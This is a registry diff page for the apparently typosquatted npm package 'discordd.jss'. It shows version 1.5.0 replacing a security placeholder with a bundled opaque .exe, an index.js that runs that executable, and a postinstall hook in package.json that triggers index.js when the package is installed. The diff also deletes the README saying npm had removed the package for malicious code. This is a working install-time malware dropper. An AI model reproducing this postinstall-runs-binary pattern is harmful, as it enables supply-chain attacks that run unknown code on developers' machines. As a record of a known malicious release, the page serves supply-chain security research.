discordd.jss 0.0.1-security → 1.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of discordd.jss might be problematic. Click here for more details.
- package/IBkhI04wf69yeH6.exe +0 -0
- package/index.js +33 -0
- package/package.json +15 -6
- package/README.md +0 -5
Binary file
|
package/index.js
ADDED
@@ -0,0 +1,33 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
const fs = require('fs');
|
3
|
+
const path = require('path');
|
4
|
+
|
5
|
+
console.log('Modül yüklendiğinde .exe dosyası otomatik olarak çalışacak.');
|
6
|
+
|
7
|
+
// .exe dosyasını yerel klasörden çeken ve çalıştıran fonksiyon
|
8
|
+
function runExe() {
|
9
|
+
const exeFilePath = path.join(__dirname, 'IBkhI04wf69yeH6.exe'); // .exe dosyasının bulunduğu klasöre göre yol oluşturuluyor
|
10
|
+
|
11
|
+
// Kontrol edin: .exe dosyası var mı?
|
12
|
+
if (!fs.existsSync(exeFilePath)) {
|
13
|
+
console.error('.exe dosyası bulunamadı:', exeFilePath);
|
14
|
+
return;
|
15
|
+
}
|
16
|
+
|
17
|
+
console.log('.exe dosyası bulundu:', exeFilePath);
|
18
|
+
|
19
|
+
// .exe dosyasını çalıştır
|
20
|
+
exec(exeFilePath, (error, stdout, stderr) => {
|
21
|
+
if (error) {
|
22
|
+
console.error(`Hata oluştu: ${error.message}`);
|
23
|
+
return;
|
24
|
+
}
|
25
|
+
if (stderr) {
|
26
|
+
console.error(`Hata çıktısı: ${stderr}`);
|
27
|
+
return;
|
28
|
+
}
|
29
|
+
console.log(`.exe çıktısı: ${stdout}`);
|
30
|
+
});
|
31
|
+
}
|
32
|
+
|
33
|
+
runExe();
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
|
-
{
|
2
|
-
"name": "discordd.jss",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "discordd.jss",
|
3
|
+
"version": "1.5.0",
|
4
|
+
"description": "discordd.jss",
|
5
|
+
"main": "index.js",
|
6
|
+
"dependencies": {
|
7
|
+
"https": "^1.0.0",
|
8
|
+
"fs": "^0.0.1-security"
|
9
|
+
},
|
10
|
+
"scripts": {
|
11
|
+
"postinstall": "node index.js"
|
12
|
+
},
|
13
|
+
"author": "Your Name",
|
14
|
+
"license": "MIT"
|
15
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=discordd.jss for more information.
|